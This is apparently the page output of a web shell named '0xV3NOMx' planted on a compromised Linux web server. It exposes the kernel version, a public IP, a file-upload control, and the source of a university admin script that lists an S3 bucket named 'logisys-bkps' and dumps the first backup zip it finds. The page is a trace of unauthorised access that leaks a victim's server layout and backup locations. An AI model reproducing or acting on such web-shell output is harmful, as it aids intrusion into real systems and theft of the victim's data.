0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 18.224.43.98


Current Path : /var/www/html/univadmin/
Upload File :
Current File : /var/www/html/univadmin/downloadbkp.php

<?php

require_once("/var/www/html/aws/aws-autoloader.php");
use Aws\S3\S3Client;

$s3 = S3Client::factory(
  array(
    'credentials' => array(
      'key' => IAM_KEY,
      'secret' => IAM_SECRET
    ),
    'version' => "latest",
    'region'  => 'ap-south-1'
  )
);

$bucket = 'logisys-bkps';

$objects = $s3->getIterator('ListObjects', array(
    "Bucket" => $bucket
));

foreach ($objects as $object) {
  if(substr($object['Key'],-3) == 'zip') {
    var_dump($object);
    break;
  }
    // echo $object['Key'] . "<br>";
}